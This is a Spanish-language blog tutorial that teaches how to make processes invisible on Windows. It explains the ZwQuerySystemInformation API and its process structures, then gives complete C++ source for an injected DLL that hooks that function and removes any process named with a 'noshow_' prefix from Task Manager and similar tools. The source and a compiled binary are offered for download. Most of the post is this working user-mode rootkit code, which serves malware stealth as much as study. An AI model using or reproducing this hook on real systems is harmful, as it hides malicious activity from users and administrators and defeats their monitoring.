Haciendo nuestros procesos invisibles


Hace poco estuve compartiendo un método para hacer que ciertos ficheros no pudieran ser eliminados de nuestro sistema (link). La técnica se basaba en inyectar una DLL en cierto proceso (en el ejemplo lo inyectábamos en el “explorer.exe” por ser el gestor de archivos por defecto de Windows, pero para que sea completamente efectivo habría que inyectarse en todos los procesos) y hacer “API Hooking” o “Desvío de API” en la función más baja a nivel de usuario (Ring3) encargada, entre varias cosas, de la eliminación de ficheros.

En esta ocasión utilizaremos esta misma técnica, pero lo que haremos será ocultar ciertos procesos de los visores Administrador de Tareas de Windows, Process Explorer, etc. Tomaremos como base el mismo código utilizado en la entrada anteriormente mencionada

Algo de investigación

Para listar los procesos del sistema se utilizan las API más conocidas EnumProcesses que retorna un array de los identificadores de cada proceso en ejecución, la otra es CreateToolhelp32Snapshot , la cual con el parámetro TH32CS_SNAPPROCESS, nos daría una instantánea de los procesos en ejecución en el momento de hacer la llamada, luego con las hermanas Process32First y Process32Next recorreríamos cada proceso por separado y obtendríamos una estructura para cada uno de ellos con información relativa al mismo. Pues bien, aquí podríamos pensar que enganchándonos a estas funciones directamente ya tendríamos el trabajo hecho, pero estas son solo “envoltorios” de una API a más bajo nivel encargada de esta operación. Si nos creamos una app usando las funciones antes mencionadas, la metemos en un desensamblador y traceamos dentro de EnumProcesses  y CreateToolhelp32Snapshot veremos a lo que me refiero.

Captura

Termina llamando a Zw/NtQuerySystemInformation que es la que realmente tiene el “mojo”, y según la definición de esta API

ZwQuerySystemInformation: Recoge información acerca del sistema.

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS
                          SystemInformationClass,
                          IN OUT PVOID SystemInformation,
                          IN ULONG SystemInformationLength,
                          OUT PULONG ReturnLength OPTIONAL
);

Parametros

SystemInformationClass: El tipo de información del sistema para ser queried. Los valores permitidos son un subconjunto de la enumeración SYSTEM_INFORMATION_CLASS

SystemInformation: Apunta a un búfer asignado por el llamador o variable que recibe la información del sistema requeridos.

SystemInformationLength: El tamaño en bytes de SystemInformation, que la persona que llama debe establecer según la SystemInformationClass dado.

ReturnLength: Opcionalmente apunta a una variable que recibe el número de bytes realmente devueltos a SystemInformation; SystemInformationLength si es demasiado pequeño para contener la información disponible, la variable se establece normalmente a cero excepto para dos clases de información (6 y 11) cuando se establece en la número de bytes necesarios para la información disponible. Si no se necesita esta información, ReturnLength puede ser un puntero nulo.

Valor de Retorno

Devoluciones STATUS_SUCCESS o un estado de error, como STATUS_INVALID_INFO_CLASS, STATUS_NOT_IMPLEMENTED o STATUS_INFO_LENGTH_MISMATCH.

La definicion de SYSTEM_INFORMATION_CLASS es la siguiente:

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // 0 Y N
SystemProcessorInformation, // 1 Y N
SystemPerformanceInformation, // 2 Y N
SystemTimeOfDayInformation, // 3 Y N
SystemNotImplemented1, // 4 Y N
SystemProcessesAndThreadsInformation, // 5 Y N
SystemCallCounts, // 6 Y N
SystemConfigurationInformation, // 7 Y N
SystemProcessorTimes, // 8 Y N
SystemGlobalFlag, // 9 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
} SYSTEM_INFORMATION_CLASS;

Vemos en la imagen que el valor pasado es el 5, lo que corresponde a SystemProcessesAndThreadsInformation y especifica que se quiere una instantánea de todos los procesos en ejecución. Al salir de esta función, y si todo salió bien, se tiene en SystemInformation un puntero a la primera estructura de una lista que contiene una estructura SYSTEM_PROCESSES para cada proceso del sistema. La definición de esta estructura es la siguiente:

typedef struct _SYSTEM_PROCESSES { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    IO_COUNTERS IoCounters; // Windows 2000 only
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

De sus campos nos interesan estos dos:

NextEntryDelta: El offset desde el inicio de la estructura actual a la siguiente entrada

ProcessName: Contiene un buffer con el nombre del proceso de la estructura en la que se encuentra.

Resumiendo

Muy bien, con esta información ya podemos tener una idea de lo que podemos hacer para ocultar un proceso deseado. El procedimiento seria el siguiente:

– Verificamos que la clase pasada a ZwQuerySystemInformation sea SystemProcessesAndThreadsInformation

– Recorremos el listado de estructuras de procesos buscando por uno con el prefijo deseado

– Si lo encontramos modificamos el NextEntryDelta de la estructura anterior para que apunte a la estructura siguiente y pase por alto la estructura donde se encuentra el proceso buscado. De esta forma lo sacamos de la lista.

– Retornamos la lista modificada

El código

El código de la DLL que inyectaremos en el proceso(s) para ocultar nuestros procesos quedaría como sigue en CodeGear C++:

//--------------------------------------------------------
#include "./DetourXS/include/detourxs.h"
#pragma comment (lib,"./DetourXS/lib/detourxs.lib")
#pragma hdrstop

// Redefinitions of header ntstatus.h
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
//--------------------------------------------------------

typedef LONG KPRIORITY;

typedef struct _CLIENT_ID {
    DWORD       UniqueProcess;
    DWORD       UniqueThread;
} CLIENT_ID;

typedef struct _VM_COUNTERS {
    SIZE_T      PeakVirtualSize;
    SIZE_T      VirtualSize;
    ULONG       PageFaultCount;
    SIZE_T      PeakWorkingSetSize;
    SIZE_T      WorkingSetSize;
    SIZE_T      QuotaPeakPagedPoolUsage;
    SIZE_T      QuotaPagedPoolUsage;
    SIZE_T      QuotaPeakNonPagedPoolUsage;
    SIZE_T      QuotaNonPagedPoolUsage;
    SIZE_T      PagefileUsage;
    SIZE_T      PeakPagefileUsage;
} VM_COUNTERS;

typedef struct _SYSTEM_THREADS {
    LARGE_INTEGER   KernelTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   CreateTime;
    ULONG           WaitTime;
    PVOID           StartAddress;
    CLIENT_ID           ClientId;
    KPRIORITY           Priority;
    KPRIORITY           BasePriority;
    ULONG           ContextSwitchCount;
    LONG            State;
    LONG            WaitReason;
} SYSTEM_THREADS, * PSYSTEM_THREADS;

typedef struct _SYSTEM_PROCESSES { // Information Class 5
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    IO_COUNTERS IoCounters; // Windows 2000 only
    SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

// Prototipo de la API para el Hook
typedef NTSTATUS (WINAPI* _RealZwQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS,
    PVOID,
    ULONG,
    PULONG
);_RealZwQuerySystemInformation RealZwQuerySystemInformation;

//--------------------------------------------------------

DWORD WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,
                    PVOID SystemInformation, ULONG SystemInformationLength,
                    PULONG ReturnLength)
{
    wchar_t prefix[] = L"noshow_"; // El prefijo del proceso a ocultar
    NTSTATUS status = RealZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
    if(status != STATUS_SUCCESS)
        return status;

    if(SystemInformationClass == /*SystemProcessesAndThreadsInformation*/5)
    {
        PSYSTEM_PROCESSES pNext;
        PSYSTEM_PROCESSES pCurrent = (PSYSTEM_PROCESSES)SystemInformation;
        do
        {
            pNext = (PSYSTEM_PROCESSES)((PCHAR)pCurrent + pCurrent->NextEntryDelta);
            // Si el nombre del proceso tiene el prefijo buscado
            if(wcsncmp(pNext->ProcessName.Buffer, prefix, wcslen(prefix)) == 0)
            {
                if(pNext->NextEntryDelta == NULL) // Verificamos si es el ultimo de la lista
                    pCurrent->NextEntryDelta = NULL;
                else
                    // Sacamos el nodo de la lista
                    pCurrent->NextEntryDelta += pNext->NextEntryDelta;
                pNext = pCurrent;
            }
            pCurrent = pNext;
        }while(pCurrent->NextEntryDelta != NULL);
    }

    return status; // retornamos con la lista modificada
}

//--------------------------------------------------------

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
   if (fwdreason == DLL_PROCESS_ATTACH)
      // Creamos el gancho
      RealZwQuerySystemInformation = (_RealZwQuerySystemInformation)DetourCreate("ntdll.dll", "ZwQuerySystemInformation", &MyZwQuerySystemInformation, DETOUR_TYPE_JMP);

   if (fwdreason == DLL_PROCESS_DETACH)
      // Quitamos el gancho
      DetourRemove(RealZwQuerySystemInformation);

   return 1;
}
//---------------------------------------------------------

Probamos inyectando nuestra DLL en el Administrador de tareas de Windows, ejecutamos varias instancias de una calculadora con el sufijo “noshow_” en su nombre y esto es lo que obtenemos

Captura2_compressed

Adjunto el código fuente completo + binario

Descargar: prochide_hook

Anuncios

2 Respuestas a “Haciendo nuestros procesos invisibles

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s